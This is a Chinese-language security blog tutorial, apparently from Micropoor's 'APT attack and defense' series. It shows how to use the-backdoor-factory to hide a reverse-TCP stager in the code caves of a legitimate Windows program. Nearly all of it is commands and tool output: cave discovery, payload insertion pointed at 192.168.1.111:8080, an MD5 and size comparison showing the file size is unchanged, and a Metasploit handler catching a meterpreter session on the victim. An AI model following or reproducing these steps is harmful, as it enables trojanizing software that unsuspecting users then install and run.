专注APT攻击与防御

https://micropoor.blogspot.com/

项目地址: https://github.com/secretsquirrel/the-backdoor-factory

原理:可执行二进制文件中有大量的00,这些00是不包含数据的,将这些数据替换成payload,并且在程序执行的时候,jmp到代码段,来触发payload。

以项目中的过磅系统为例:

root@John:~/Desktop# git clone https://github.com/secretsquirrel/the-backdoor-factory.git

//安装the-backdoor-factory

```
root@John:~/Desktop# git clone https://github.com/secretsquirrel/the-backdoor-factory.git
Cloning into 'the-backdoor-factory'...
remote: Counting objects: 1091, done.
remote: Total 1091 (delta 0), reused 0 (delta 0), pack-reused 1091
Receiving objects: 100% (1091/1091), 2.62 MiB | 145.00 KiB/s, done.
Resolving deltas: 100% (574/574), done.
```

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f
~/demo/guobang.exe -S

//检测是否支持后门植入



root@John:~/Desktop/the-backdoor-factory#./backdoor.py -f

~/demo/guobang.exe -c -l 150

//测试裂缝空间size150

```
root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -c -l 150
       Author:
                 Joshua Pitts
                the.midnite.runr[-at ]gmail<d o-t>com
       Email:
       Twitter:
                @midnite runr
                 freenode.net #BDFactory
       IRC:
       Version:
                3.4.2
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
Looking for caves with a size of 150 bytes (measured as an integer
[*] Looking for caves
No section
->Begin Cave 0x360
->End of Cave 0x400
Size of Cave (int) 160
**************
No section
->Begin Cave 0x202c94
->End of Cave 0x202e08
Size of Cave (int) 372
***************
No section
->Begin Cave 0x20813b
->End of Cave 0x20820c
Size of Cave (int) 209
***************
No section
->Begin Cave 0x20b20f
->End of Cave 0x20b401
Size of Cave (int) 498
****************
No section
->Begin Cave 0x22cf08
->End of Cave 0x22d004
Size of Cave (int) 252
*************
We have a winner: .rsrc
```

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -s show //查看可用payload

```
root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -s show
          Author:
                       Joshua Pitts
                       the.midnite.runr[-at ]gmail<d o-t>com
          Email:
          Twitter:
                       @midnite runr
                       freenode.net #BDFactory
          Version:
                      3.4.2
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
The following WinIntelPE32s are available: (use -s)
   cave_miner_inline
   iat_reverse_tcp_inline
   iat_reverse_tcp_inline_threaded
   iat_reverse_tcp_stager_threaded
iat_user_supplied_shellcode_threaded
   meterpreter_reverse_https_threaded reverse_shell_tcp_inline
  reverse_tcp_stager_threaded
user_supplied_shellcode_threaded
```

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f

~/demo/guobang.exe -H 192.168.1.111 -P 8080 -s iat_reverse_tcp_stager_threaded //插入payload , 并生成文件。

```
/backdoor.py -f /root/demo/guobang.exe -H 192.168.1.111 -P 8080 -s iat_reverse_tcp_stager_threaded
                                                                                                     (`-')
(00)
                                              00)( (00 )
                                                        )( 00).-.
            Author:
                             Joshua Pitts
                            the.midnite.runr[-at ]gmail<d o-t>com
@midnite_runr
freenode.net #BDFactory
             Twitter:
    In the backdoor module
Checking if binary is supported
Gathering file info
Reading win32 entry instructions
Loading PE in pefile
Parsing data directories
Looking for and setting selected shellcode
Creating win32 resume execution stub
Looking for caves that will fit the minimum shellcode length of 408
All caves lengths: 408
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
0x2aa400; Cave begin:
0x2aa400; Cave begin:
                                                                                                                              0x277445; Cave Size: 505
0x28576a; Cave Size: 749
    Section Name: .rsrc; Section Begin:
Section Name: .rsrc; Section Begin:
                                                       0x22d000 End:
     Section Name: .rsrc; Section Begin: 0x22d000 End: 0x2aa400; Cave begin: 0x297bb7 End: Section Name: .rsrc; Section Begin: 0x22d000 End: 0x2aa400; Cave begin: 0x2a5de8 End:
```

root@John:~/Desktop/the-backdoor-factory# md5sum ./guobang.exe

/root/demo/guobang.exe

//对比原文件与生成文件MD5值

```
root@John: ~/Desktop/the-backdoor-factory/backdoored# md5sum ./guobang.exe /root/demo/guobang.exe
061f77c12edbd073aeaa63e8dbb0c414 ./guobang.exe
c3d4dfd2df91b2a7f3a659f75a5dfd70 /root/demo/guobang.exe
root@John: ~/Desktop/the-backdoor-factory/backdoored#
```

root@John:~/Desktop/the-backdoor-factory# du -k ./quobang.exe

/root/demo/guobang.exe

//对比文件大小

```
root@John:~/Desktop/the-backdoor-factory/backdoored# du -b ./guobang.exe /root/demo/guobang.exe
2794496 ./guobang.exe
2794496 /root/demo/guobang.exe
root@John:~/Desktop/the-backdoor-factory/backdoored#
```

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.111
```

lhost => 192.168.1.111
msf exploit(handler) > set lport 8080
lport => 8080
msf exploit(handler) > exploit -j

//开启本地监听

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.111
lhost => 192.168.1.111
msf exploit(handler) > set lport 8080
lport => 8080
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.111:8080
[*] Starting the payload handler...
```

//打开软件



meterpreter > getuid

Server username: John-PC\John

//确定目标

• Micropoor